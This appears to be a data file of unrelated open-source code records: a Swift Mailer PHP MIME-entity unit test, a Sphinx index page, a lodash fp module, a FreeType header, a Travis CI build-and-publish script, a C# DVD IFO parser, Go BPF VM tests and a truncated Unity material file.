testChildrenOfLevelAlternativeAndLessCauseMultipartAlternative()\n {\n for ($level = Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE;\n $level > Swift_Mime_MimeEntity::LEVEL_MIXED; $level /= 2) {\n $child = $this->_createChild($level);\n $cType = $this->_createHeader(\n 'Content-Type', 'text/plain', array(), false\n );\n $cType->shouldReceive('setFieldBodyModel')\n ->once()\n ->with('multipart/alternative');\n $cType->shouldReceive('setFieldBodyModel')\n ->zeroOrMoreTimes();\n\n $entity = $this->_createEntity($this->_createHeaderSet(array(\n 'Content-Type' => $cType,)),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setChildren(array($child));\n }\n }\n\n public function testChildrenOfLevelRelatedAndLessCauseMultipartRelated()\n {\n for ($level = Swift_Mime_MimeEntity::LEVEL_RELATED;\n $level > Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE; $level /= 2) {\n $child = $this->_createChild($level);\n $cType = $this->_createHeader(\n 'Content-Type', 'text/plain', array(), false\n );\n $cType->shouldReceive('setFieldBodyModel')\n ->once()\n ->with('multipart/related');\n $cType->shouldReceive('setFieldBodyModel')\n ->zeroOrMoreTimes();\n\n $entity = $this->_createEntity($this->_createHeaderSet(array(\n 'Content-Type' => $cType,)),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setChildren(array($child));\n }\n }\n\n public function testHighestLevelChildDeterminesContentType()\n {\n $combinations = array(\n array('levels' => array(Swift_Mime_MimeEntity::LEVEL_MIXED,\n Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE,\n Swift_Mime_MimeEntity::LEVEL_RELATED,\n ),\n 'type' => 'multipart/mixed',\n ),\n array('levels' => array(Swift_Mime_MimeEntity::LEVEL_MIXED,\n Swift_Mime_MimeEntity::LEVEL_RELATED,\n ),\n 'type' => 'multipart/mixed',\n ),\n array('levels' => array(Swift_Mime_MimeEntity::LEVEL_MIXED,\n Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE,\n ),\n 'type' => 'multipart/mixed',\n ),\n array('levels' => array(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE,\n Swift_Mime_MimeEntity::LEVEL_RELATED,\n ),\n 'type' => 'multipart/alternative',\n ),\n );\n\n foreach ($combinations as $combination) {\n $children = array();\n foreach ($combination['levels'] as $level) {\n $children[] = $this->_createChild($level);\n }\n\n $cType = $this->_createHeader(\n 'Content-Type', 'text/plain', array(), false\n );\n $cType->shouldReceive('setFieldBodyModel')\n ->once()\n ->with($combination['type']);\n\n $headerSet = $this->_createHeaderSet(array('Content-Type' => $cType));\n $headerSet->shouldReceive('newInstance')\n ->zeroOrMoreTimes()\n ->andReturnUsing(function () use ($headerSet) {\n return $headerSet;\n });\n $entity = $this->_createEntity($headerSet,\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setChildren($children);\n }\n }\n\n public function testChildrenAppearNestedInString()\n {\n /* -- RFC 2046, 5.1.1.\n (excerpt too verbose to paste here)\n */\n\n $headers = $this->_createHeaderSet(array(), false);\n\n $child1 = new MimeEntityFixture(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE,\n \"Content-Type: text/plain\\r\\n\".\n \"\\r\\n\".\n \"foobar\"\n );\n\n $child2 = new MimeEntityFixture(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE,\n \"Content-Type: text/html\\r\\n\".\n \"\\r\\n\".\n \"foobar\"\n );\n\n $headers->shouldReceive('toString')\n ->zeroOrMoreTimes()\n ->andReturn(\"Content-Type: multipart/alternative; boundary=\\\"xxx\\\"\\r\\n\");\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setBoundary('xxx');\n $entity->setChildren(array($child1, $child2));\n\n $this->assertEquals(\n \"Content-Type: multipart/alternative; boundary=\\\"xxx\\\"\\r\\n\".\n \"\\r\\n\".\n \"\\r\\n--xxx\\r\\n\".\n \"Content-Type: text/plain\\r\\n\".\n \"\\r\\n\".\n \"foobar\\r\\n\".\n \"\\r\\n--xxx\\r\\n\".\n \"Content-Type: text/html\\r\\n\".\n \"\\r\\n\".\n \"foobar\\r\\n\".\n \"\\r\\n--xxx--\\r\\n\",\n $entity->toString()\n );\n }\n\n public function testMixingLevelsIsHierarchical()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $newHeaders = $this->_createHeaderSet(array(), false);\n\n $part = $this->_createChild(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE,\n \"Content-Type: text/plain\\r\\n\".\n \"\\r\\n\".\n \"foobar\"\n );\n\n $attachment = $this->_createChild(Swift_Mime_MimeEntity::LEVEL_MIXED,\n \"Content-Type: application/octet-stream\\r\\n\".\n \"\\r\\n\".\n \"data\"\n );\n\n $headers->shouldReceive('toString')\n ->zeroOrMoreTimes()\n ->andReturn(\"Content-Type: multipart/mixed; boundary=\\\"xxx\\\"\\r\\n\");\n $headers->shouldReceive('newInstance')\n ->zeroOrMoreTimes()\n ->andReturn($newHeaders);\n $newHeaders->shouldReceive('toString')\n ->zeroOrMoreTimes()\n ->andReturn(\"Content-Type: multipart/alternative; boundary=\\\"yyy\\\"\\r\\n\");\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setBoundary('xxx');\n $entity->setChildren(array($part, $attachment));\n\n $this->assertRegExp(\n \"~^\".\n \"Content-Type: multipart/mixed; boundary=\\\"xxx\\\"\\r\\n\".\n \"\\r\\n\\r\\n--xxx\\r\\n\".\n \"Content-Type: multipart/alternative; boundary=\\\"yyy\\\"\\r\\n\".\n \"\\r\\n\\r\\n--(.*?)\\r\\n\".\n \"Content-Type: text/plain\\r\\n\".\n \"\\r\\n\".\n \"foobar\".\n \"\\r\\n\\r\\n--\\\\1--\\r\\n\".\n \"\\r\\n\\r\\n--xxx\\r\\n\".\n \"Content-Type: application/octet-stream\\r\\n\".\n \"\\r\\n\".\n \"data\".\n \"\\r\\n\\r\\n--xxx--\\r\\n\".\n \"\\$~\",\n $entity->toString()\n );\n }\n\n public function testSettingEncoderNotifiesChildren()\n {\n $child = $this->_createChild(0, '', false);\n $encoder = $this->_createEncoder('base64');\n\n $child->shouldReceive('encoderChanged')\n ->once()\n ->with($encoder);\n\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setChildren(array($child));\n $entity->setEncoder($encoder);\n }\n\n public function testReceiptOfEncoderChangeNotifiesChildren()\n {\n $child = $this->_createChild(0, '', false);\n $encoder = $this->_createEncoder('base64');\n\n $child->shouldReceive('encoderChanged')\n ->once()\n ->with($encoder);\n\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setChildren(array($child));\n $entity->encoderChanged($encoder);\n }\n\n public function testReceiptOfCharsetChangeNotifiesChildren()\n {\n $child = $this->_createChild(0, '', false);\n $child->shouldReceive('charsetChanged')\n ->once()\n ->with('windows-874');\n\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $entity->setChildren(array($child));\n $entity->charsetChanged('windows-874');\n }\n\n public function testEntityIsWrittenToByteStream()\n {\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $is = $this->_createInputStream(false);\n $is->expects($this->atLeastOnce())\n ->method('write');\n\n $entity->toByteStream($is);\n }\n\n public function testEntityHeadersAreComittedToByteStream()\n {\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n $is = $this->_createInputStream(false);\n $is->expects($this->atLeastOnce())\n ->method('write');\n $is->expects($this->atLeastOnce())\n ->method('commit');\n\n $entity->toByteStream($is);\n }\n\n public function testOrderingTextBeforeHtml()\n {\n $htmlChild = new MimeEntityFixture(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE,\n \"Content-Type: text/html\\r\\n\".\n \"\\r\\n\".\n \"HTML PART\",\n 'text/html'\n );\n $textChild = new MimeEntityFixture(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE,\n \"Content-Type: text/plain\\r\\n\".\n \"\\r\\n\".\n \"TEXT PART\",\n 'text/plain'\n );\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('toString')\n ->zeroOrMoreTimes()\n ->andReturn(\"Content-Type: multipart/alternative; boundary=\\\"xxx\\\"\\r\\n\");\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $this->_createCache()\n );\n $entity->setBoundary('xxx');\n $entity->setChildren(array($htmlChild, $textChild));\n\n $this->assertEquals(\n \"Content-Type: multipart/alternative; boundary=\\\"xxx\\\"\\r\\n\".\n \"\\r\\n\\r\\n--xxx\\r\\n\".\n \"Content-Type: text/plain\\r\\n\".\n \"\\r\\n\".\n \"TEXT PART\".\n \"\\r\\n\\r\\n--xxx\\r\\n\".\n \"Content-Type: text/html\\r\\n\".\n \"\\r\\n\".\n \"HTML PART\".\n \"\\r\\n\\r\\n--xxx--\\r\\n\",\n $entity->toString()\n );\n }\n\n public function testUnsettingChildrenRestoresContentType()\n {\n $cType = $this->_createHeader('Content-Type', 'text/plain', array(), false);\n $child = $this->_createChild(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE);\n\n $cType->shouldReceive('setFieldBodyModel')\n ->twice()\n ->with('image/jpeg');\n $cType->shouldReceive('setFieldBodyModel')\n ->once()\n ->with('multipart/alternative');\n $cType->shouldReceive('setFieldBodyModel')\n ->zeroOrMoreTimes()\n ->with(\\Mockery::not('multipart/alternative', 'image/jpeg'));\n\n $entity = $this->_createEntity($this->_createHeaderSet(array(\n 'Content-Type' => $cType,\n )),\n $this->_createEncoder(), $this->_createCache()\n );\n\n $entity->setContentType('image/jpeg');\n $entity->setChildren(array($child));\n $entity->setChildren(array());\n }\n\n public function testBodyIsReadFromCacheWhenUsingToStringIfPresent()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('toString')\n ->zeroOrMoreTimes()\n ->andReturn(\"Content-Type: text/plain; charset=utf-8\\r\\n\");\n\n $cache = $this->_createCache(false);\n $cache->shouldReceive('hasKey')\n ->once()\n ->with(\\Mockery::any(), 'body')\n ->andReturn(true);\n $cache->shouldReceive('getString')\n ->once()\n ->with(\\Mockery::any(), 'body')\n ->andReturn(\"\\r\\ncache\\r\\ncache!\");\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $cache\n );\n\n $entity->setBody(\"blah\\r\\nblah!\");\n $this->assertEquals(\n \"Content-Type: text/plain; charset=utf-8\\r\\n\".\n \"\\r\\n\".\n \"cache\\r\\ncache!\",\n $entity->toString()\n );\n }\n\n public function testBodyIsAddedToCacheWhenUsingToString()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('toString')\n ->zeroOrMoreTimes()\n ->andReturn(\"Content-Type: text/plain; charset=utf-8\\r\\n\");\n\n $cache = $this->_createCache(false);\n $cache->shouldReceive('hasKey')\n ->once()\n ->with(\\Mockery::any(), 'body')\n ->andReturn(false);\n $cache->shouldReceive('setString')\n ->once()\n ->with(\\Mockery::any(), 'body', \"\\r\\nblah\\r\\nblah!\", Swift_KeyCache::MODE_WRITE);\n\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $cache\n );\n\n $entity->setBody(\"blah\\r\\nblah!\");\n $entity->toString();\n }\n\n public function testBodyIsClearedFromCacheIfNewBodySet()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('toString')\n ->zeroOrMoreTimes()\n ->andReturn(\"Content-Type: text/plain; charset=utf-8\\r\\n\");\n\n $cache = $this->_createCache(false);\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $cache\n );\n\n $entity->setBody(\"blah\\r\\nblah!\");\n $entity->toString();\n\n // We set the expectation at this point because we only care what happens when calling setBody()\n $cache->shouldReceive('clearKey')\n ->once()\n ->with(\\Mockery::any(), 'body');\n\n $entity->setBody(\"new\\r\\nnew!\");\n }\n\n public function testBodyIsNotClearedFromCacheIfSameBodySet()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('toString')\n ->zeroOrMoreTimes()\n ->andReturn(\"Content-Type: text/plain; charset=utf-8\\r\\n\");\n\n $cache = $this->_createCache(false);\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $cache\n );\n\n $entity->setBody(\"blah\\r\\nblah!\");\n $entity->toString();\n\n // We set the expectation at this point because we only care what happens when calling setBody()\n $cache->shouldReceive('clearKey')\n ->never();\n\n $entity->setBody(\"blah\\r\\nblah!\");\n }\n\n public function testBodyIsClearedFromCacheIfNewEncoderSet()\n {\n $headers = $this->_createHeaderSet(array(), false);\n $headers->shouldReceive('toString')\n ->zeroOrMoreTimes()\n ->andReturn(\"Content-Type: text/plain; charset=utf-8\\r\\n\");\n\n $cache = $this->_createCache(false);\n $otherEncoder = $this->_createEncoder();\n $entity = $this->_createEntity($headers, $this->_createEncoder(),\n $cache\n );\n\n $entity->setBody(\"blah\\r\\nblah!\");\n $entity->toString();\n\n // We set the expectation at this point because we only care what happens when calling setEncoder()\n $cache->shouldReceive('clearKey')\n ->once()\n ->with(\\Mockery::any(), 'body');\n\n $entity->setEncoder($otherEncoder);\n }\n\n public function testBodyIsReadFromCacheWhenUsingToByteStreamIfPresent()\n {\n $is = $this->_createInputStream();\n $cache = $this->_createCache(false);\n $cache->shouldReceive('hasKey')\n ->once()\n ->with(\\Mockery::any(), 'body')\n ->andReturn(true);\n $cache->shouldReceive('exportToByteStream')\n ->once()\n ->with(\\Mockery::any(), 'body', $is);\n\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $cache\n );\n $entity->setBody('foo');\n\n $entity->toByteStream($is);\n }\n\n public function testBodyIsAddedToCacheWhenUsingToByteStream()\n {\n $is = $this->_createInputStream();\n $cache = $this->_createCache(false);\n $cache->shouldReceive('hasKey')\n ->once()\n ->with(\\Mockery::any(), 'body')\n ->andReturn(false);\n $cache->shouldReceive('getInputByteStream')\n ->once()\n ->with(\\Mockery::any(), 'body');\n\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $cache\n );\n $entity->setBody('foo');\n\n $entity->toByteStream($is);\n }\n\n public function testFluidInterface()\n {\n $entity = $this->_createEntity($this->_createHeaderSet(),\n $this->_createEncoder(), $this->_createCache()\n );\n\n $this->assertSame($entity,\n $entity\n ->setContentType('text/plain')\n ->setEncoder($this->_createEncoder())\n ->setId('foo@bar')\n ->setDescription('my description')\n ->setMaxLineLength(998)\n ->setBody('xx')\n ->setBoundary('xyz')\n ->setChildren(array())\n );\n }\n\n // -- Private helpers\n\n abstract protected function _createEntity($headers, $encoder, $cache);\n\n protected function _createChild($level = null, $string = '', $stub = true)\n {\n $child = $this->getMockery('Swift_Mime_MimeEntity')->shouldIgnoreMissing();\n if (isset($level)) {\n $child->shouldReceive('getNestingLevel')\n ->zeroOrMoreTimes()\n ->andReturn($level);\n }\n $child->shouldReceive('toString')\n ->zeroOrMoreTimes()\n ->andReturn($string);\n\n return $child;\n }\n\n protected function _createEncoder($name = 'quoted-printable', $stub = true)\n {\n $encoder = $this->getMock('Swift_Mime_ContentEncoder');\n $encoder->expects($this->any())\n ->method('getName')\n ->will($this->returnValue($name));\n $encoder->expects($this->any())\n ->method('encodeString')\n ->will($this->returnCallback(function () {\n $args = func_get_args();\n\n return array_shift($args);\n }));\n\n return $encoder;\n }\n\n protected function _createCache($stub = true)\n {\n return $this->getMockery('Swift_KeyCache')->shouldIgnoreMissing();\n }\n\n protected function _createHeaderSet($headers = array(), $stub = true)\n {\n $set = $this->getMockery('Swift_Mime_HeaderSet')->shouldIgnoreMissing();\n $set->shouldReceive('get')\n ->zeroOrMoreTimes()\n ->andReturnUsing(function ($key) use ($headers) {\n return $headers[$key];\n });\n $set->shouldReceive('has')\n ->zeroOrMoreTimes()\n ->andReturnUsing(function ($key) use ($headers) {\n return array_key_exists($key, $headers);\n });\n\n return $set;\n }\n\n protected function _createHeader($name, $model = null, $params = array(), $stub = true)\n {\n $header = $this->getMockery('Swift_Mime_ParameterizedHeader')->shouldIgnoreMissing();\n $header->shouldReceive('getFieldName')\n ->zeroOrMoreTimes()\n ->andReturn($name);\n $header->shouldReceive('getFieldBodyModel')\n ->zeroOrMoreTimes()\n ->andReturn($model);\n $header->shouldReceive('getParameter')\n ->zeroOrMoreTimes()\n ->andReturnUsing(function ($key) use ($params) {\n return $params[$key];\n });\n\n return $header;\n }\n\n protected function _createOutputStream($data = null, $stub = true)\n {\n $os = $this->getMockery('Swift_OutputByteStream');\n if (isset($data)) {\n $os->shouldReceive('read')\n ->zeroOrMoreTimes()\n ->andReturnUsing(function () use ($data) {\n static $first = true;\n if (!$first) {\n return false;\n }\n\n $first = false;\n\n return $data;\n });\n $os->shouldReceive('setReadPointer')\n ->zeroOrMoreTimes();\n }\n\n return $os;\n }\n\n protected function _createInputStream($stub = true)\n {\n return $this->getMock('Swift_InputByteStream');\n }\n}\n"} +{"text": "\n\n\n\n\n \n \n \n Index — git-pylint-commit-hook 2.0.0 documentation\n \n \n \n \n \n \n \n \n \n \n \n \n
    \n

    Navigation

    \n \n
    \n\n
    \n
    \n
    \n
    \n \n\n

    Index

    \n\n
    \n \n
    \n\n\n
    \n
    \n
    \n
    \n
    \n
    \n

    Quick search

    \n
    \n
    \n \n \n \n \n
    \n
    \n
    \n\n
    \n
    \n
    \n
    \n
    \n

    Navigation

    \n \n
    \n
    \n © Copyright 2013, Sebastian Dahlgren.\n Created using Sphinx 1.8.1.\n
    \n \n"} +{"text": "var convert = require('./convert'),\n func = convert('identity', require('../identity'), require('./_falseOptions'));\n\nfunc.placeholder = require('./placeholder');\nmodule.exports = func;\n"} +{"text": "/***************************************************************************/\n/* */\n/* pfrcmap.h */\n/* */\n/* FreeType PFR cmap handling (specification). */\n/* */\n/* Copyright 2002-2017 by */\n/* David Turner, Robert Wilhelm, and Werner Lemberg. */\n/* */\n/* This file is part of the FreeType project, and may only be used, */\n/* modified, and distributed under the terms of the FreeType project */\n/* license, LICENSE.TXT. By continuing to use, modify, or distribute */\n/* this file you indicate that you have read the license and */\n/* understand and accept it fully. */\n/* */\n/***************************************************************************/\n\n\n#ifndef PFRCMAP_H_\n#define PFRCMAP_H_\n\n#include \n#include FT_INTERNAL_OBJECTS_H\n#include \"pfrtypes.h\"\n\n\nFT_BEGIN_HEADER\n\n typedef struct PFR_CMapRec_\n {\n FT_CMapRec cmap;\n FT_UInt num_chars;\n PFR_Char chars;\n\n } PFR_CMapRec, *PFR_CMap;\n\n\n FT_CALLBACK_TABLE const FT_CMap_ClassRec pfr_cmap_class_rec;\n\nFT_END_HEADER\n\n\n#endif /* PFRCMAP_H_ */\n\n\n/* END */\n"} +{"text": "#!/usr/bin/env bash\n\necho \"TRAVIS_BRANCH: $TRAVIS_BRANCH\"\necho \"TRAVIS_REPO_SLUG: $TRAVIS_REPO_SLUG\"\necho \"TRAVIS_PULL_REQUEST: $TRAVIS_PULL_REQUEST\"\necho \"TRAVIS_TAG: $TRAVIS_TAG\"\necho \"TRAVIS_PWD: $PWD\"\necho \"TRAVIS: $TRAVIS\"\n\n/opt/chefdk/embedded/bin/chef --version || exit 1\n/opt/chefdk/embedded/bin/cookstyle --version || exit 1\n/opt/chefdk/embedded/bin/cookstyle || exit 1\n/opt/chefdk/embedded/bin/foodcritic --version || exit 1\n/opt/chefdk/embedded/bin/foodcritic . --exclude spec -f any || exit 1\n/opt/chefdk/embedded/bin/rspec spec || exit 1\n\nif [[ -n $TRAVIS_TAG && $TRAVIS_PULL_REQUEST == 'false' ]]; then\n echo \"Deploying java cookbook - release\"\n openssl aes-256-cbc -K $encrypted_f7982e51c0b5_key -iv $encrypted_f7982e51c0b5_iv -in .travis/publish-key.pem.enc -out .travis/publish-key.pem -d\n /opt/chefdk/embedded/bin/knife cookbook site share java \"Other\" -o ../ --config .travis/config.rb\nelse\n echo \"Skipping deploy.\"\nfi\n"} +{"text": "#pragma warning disable CS1591\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\n\nnamespace DvdLib.Ifo\n{\n public class Dvd\n {\n private readonly ushort _titleSetCount;\n public readonly List Titles;\n\n private ushort _titleCount;\n public readonly Dictionary<ushort, string> VTSPaths = new Dictionary<ushort, string>();\n public Dvd(string path)\n {\n Titles = new List<Title>();\n var allFiles = new DirectoryInfo(path).GetFiles(path, SearchOption.AllDirectories);\n\n var vmgPath = allFiles.FirstOrDefault(i => string.Equals(i.Name, \"VIDEO_TS.IFO\", StringComparison.OrdinalIgnoreCase)) ??\n allFiles.FirstOrDefault(i => string.Equals(i.Name, \"VIDEO_TS.BUP\", StringComparison.OrdinalIgnoreCase));\n\n if (vmgPath == null)\n {\n foreach (var ifo in allFiles)\n {\n if (!string.Equals(ifo.Extension, \".ifo\", StringComparison.OrdinalIgnoreCase))\n {\n continue;\n }\n\n var nums = ifo.Name.Split(new[] { '_' }, StringSplitOptions.RemoveEmptyEntries);\n if (nums.Length >= 2 && ushort.TryParse(nums[1], out var ifoNumber))\n {\n ReadVTS(ifoNumber, ifo.FullName);\n }\n }\n }\n else\n {\n using (var vmgFs = new FileStream(vmgPath.FullName, FileMode.Open, FileAccess.Read, FileShare.Read))\n {\n using (var vmgRead = new BigEndianBinaryReader(vmgFs))\n {\n vmgFs.Seek(0x3E, SeekOrigin.Begin);\n _titleSetCount = vmgRead.ReadUInt16();\n\n // read address of TT_SRPT\n vmgFs.Seek(0xC4, SeekOrigin.Begin);\n uint ttSectorPtr = vmgRead.ReadUInt32();\n vmgFs.Seek(ttSectorPtr * 2048, SeekOrigin.Begin);\n ReadTT_SRPT(vmgRead);\n }\n }\n\n for (ushort titleSetNum = 1; titleSetNum <= _titleSetCount; titleSetNum++)\n {\n ReadVTS(titleSetNum, allFiles);\n }\n }\n }\n\n private void ReadTT_SRPT(BinaryReader read)\n {\n _titleCount = read.ReadUInt16();\n read.BaseStream.Seek(6, SeekOrigin.Current);\n for (uint titleNum = 1; titleNum <= _titleCount; titleNum++)\n {\n var t = new Title(titleNum);\n t.ParseTT_SRPT(read);\n Titles.Add(t);\n }\n }\n\n private void ReadVTS(ushort vtsNum, IReadOnlyList<FileInfo> allFiles)\n {\n var filename = string.Format(\"VTS_{0:00}_0.IFO\", vtsNum);\n\n var vtsPath = allFiles.FirstOrDefault(i => string.Equals(i.Name, filename, StringComparison.OrdinalIgnoreCase)) ??\n allFiles.FirstOrDefault(i => string.Equals(i.Name, Path.ChangeExtension(filename, \".bup\"), StringComparison.OrdinalIgnoreCase));\n\n if (vtsPath == null)\n {\n throw new FileNotFoundException(\"Unable to find VTS IFO file\");\n }\n\n ReadVTS(vtsNum, vtsPath.FullName);\n }\n\n private void ReadVTS(ushort vtsNum, string vtsPath)\n {\n VTSPaths[vtsNum] = vtsPath;\n\n using (var vtsFs = new FileStream(vtsPath, FileMode.Open, FileAccess.Read, FileShare.Read))\n {\n using (var vtsRead = new BigEndianBinaryReader(vtsFs))\n {\n // Read VTS_PTT_SRPT\n vtsFs.Seek(0xC8, SeekOrigin.Begin);\n uint vtsPttSrptSecPtr = vtsRead.ReadUInt32();\n uint baseAddr = (vtsPttSrptSecPtr * 2048);\n vtsFs.Seek(baseAddr, SeekOrigin.Begin);\n\n ushort numTitles = vtsRead.ReadUInt16();\n vtsRead.ReadUInt16();\n uint endaddr = vtsRead.ReadUInt32();\n uint[] offsets = new uint[numTitles];\n for (ushort titleNum = 0; titleNum < numTitles; titleNum++)\n {\n offsets[titleNum] = vtsRead.ReadUInt32();\n }\n\n for (uint titleNum = 0; titleNum < numTitles; titleNum++)\n {\n uint chapNum = 1;\n vtsFs.Seek(baseAddr + offsets[titleNum], SeekOrigin.Begin);\n var t = Titles.FirstOrDefault(vtst => vtst.IsVTSTitle(vtsNum, titleNum + 1));\n if (t == null)\n {\n continue;\n }\n\n do\n {\n t.Chapters.Add(new Chapter(vtsRead.ReadUInt16(), vtsRead.ReadUInt16(), chapNum));\n if (titleNum + 1 < numTitles && vtsFs.Position == (baseAddr + offsets[titleNum + 1]))\n {\n break;\n }\n\n chapNum++;\n }\n while (vtsFs.Position < (baseAddr + endaddr));\n }\n\n // Read VTS_PGCI\n vtsFs.Seek(0xCC, SeekOrigin.Begin);\n uint vtsPgciSecPtr = vtsRead.ReadUInt32();\n vtsFs.Seek(vtsPgciSecPtr * 2048, SeekOrigin.Begin);\n\n long startByte = vtsFs.Position;\n\n ushort numPgcs = vtsRead.ReadUInt16();\n vtsFs.Seek(6, SeekOrigin.Current);\n for (ushort pgcNum = 1; pgcNum <= numPgcs; pgcNum++)\n {\n byte pgcCat = vtsRead.ReadByte();\n bool entryPgc = (pgcCat & 0x80) != 0;\n uint titleNum = (uint)(pgcCat & 0x7F);\n\n vtsFs.Seek(3, SeekOrigin.Current);\n uint vtsPgcOffset = vtsRead.ReadUInt32();\n\n var t = Titles.FirstOrDefault(vtst => vtst.IsVTSTitle(vtsNum, titleNum));\n if (t != null)\n {\n t.AddPgc(vtsRead, startByte + vtsPgcOffset, entryPgc, pgcNum);\n }\n }\n }\n }\n }\n }\n}\n"} +{"text": "// Copyright 2016 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage bpf_test\n\nimport (\n\t\"testing\"\n\n\t\"golang.org/x/net/bpf\"\n)\n\nfunc TestVMRetA(t *testing.T) {\n\tvm, done, err := testVM(t, []bpf.Instruction{\n\t\tbpf.LoadAbsolute{\n\t\t\tOff: 8,\n\t\t\tSize: 1,\n\t\t},\n\t\tbpf.RetA{},\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"failed to load BPF program: %v\", err)\n\t}\n\tdefer done()\n\n\tout, err := vm.Run([]byte{\n\t\t0xff, 0xff, 0xff, 0xff,\n\t\t0xff, 0xff, 0xff, 0xff,\n\t\t9,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error while running program: %v\", err)\n\t}\n\tif want, got := 1, out; want != got {\n\t\tt.Fatalf(\"unexpected number of output bytes:\\n- want: %d\\n- got: %d\",\n\t\t\twant, got)\n\t}\n}\n\nfunc TestVMRetALargerThanInput(t *testing.T) {\n\tvm, done, err := testVM(t, []bpf.Instruction{\n\t\tbpf.LoadAbsolute{\n\t\t\tOff: 8,\n\t\t\tSize: 2,\n\t\t},\n\t\tbpf.RetA{},\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"failed to load BPF program: %v\", err)\n\t}\n\tdefer done()\n\n\tout, err := vm.Run([]byte{\n\t\t0xff, 0xff, 0xff, 0xff,\n\t\t0xff, 0xff, 0xff, 0xff,\n\t\t0, 255,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error while running program: %v\", err)\n\t}\n\tif want, got := 2, out; want != got {\n\t\tt.Fatalf(\"unexpected number of output bytes:\\n- want: %d\\n- got: %d\",\n\t\t\twant, got)\n\t}\n}\n\nfunc TestVMRetConstant(t *testing.T) {\n\tvm, done, err := testVM(t, []bpf.Instruction{\n\t\tbpf.RetConstant{\n\t\t\tVal: 9,\n\t\t},\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"failed to load BPF program: %v\", err)\n\t}\n\tdefer done()\n\n\tout, err := vm.Run([]byte{\n\t\t0xff, 0xff, 0xff, 0xff,\n\t\t0xff, 0xff, 0xff, 0xff,\n\t\t0, 1,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error while running program: %v\", err)\n\t}\n\tif want, got := 1, out; want != got {\n\t\tt.Fatalf(\"unexpected number of output bytes:\\n- want: %d\\n- got: %d\",\n\t\t\twant, got)\n\t}\n}\n\nfunc TestVMRetConstantLargerThanInput(t *testing.T) {\n\tvm, done, err := testVM(t, []bpf.Instruction{\n\t\tbpf.RetConstant{\n\t\t\tVal: 16,\n\t\t},\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"failed to load BPF program: %v\", err)\n\t}\n\tdefer done()\n\n\tout, err := vm.Run([]byte{\n\t\t0xff, 0xff, 0xff, 0xff,\n\t\t0xff, 0xff, 0xff, 0xff,\n\t\t0, 1,\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error while running program: %v\", err)\n\t}\n\tif want, got := 2, out; want != got {\n\t\tt.Fatalf(\"unexpected number of output bytes:\\n- want: %d\\n- got: %d\",\n\t\t\twant, got)\n\t}\n}\n"} +{"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!21 &2100000\nMaterial:\n serializedVersion: 6\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_Name: Unlit Color\n m_Shader: {fileID: 4800000, guid: 24f9f312f97bd48dba1a728d58c89842, type: 3}\n m_ShaderKeywords: \n m_LightmapFlags: 4\n m_EnableInstancingVariants: 0\n m_DoubleSidedGI: 0\n m_CustomRenderQueue: -1\n stringTagMap: {}\n disabledShaderPasses: []\n m_SavedProperties:\n serializedVersion: 3\n m_TexEnvs:\n - _BumpMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _DetailAlbedoMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _DetailMask:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _DetailNormalMap:\n m_Texture: {fileID: 0}\n m_Scale: {x: 1, y: 1}\n m_Offset: {x: 0, y: 0}\n - _EmissionMap:\n m_Texture: {fileID: 0}\n 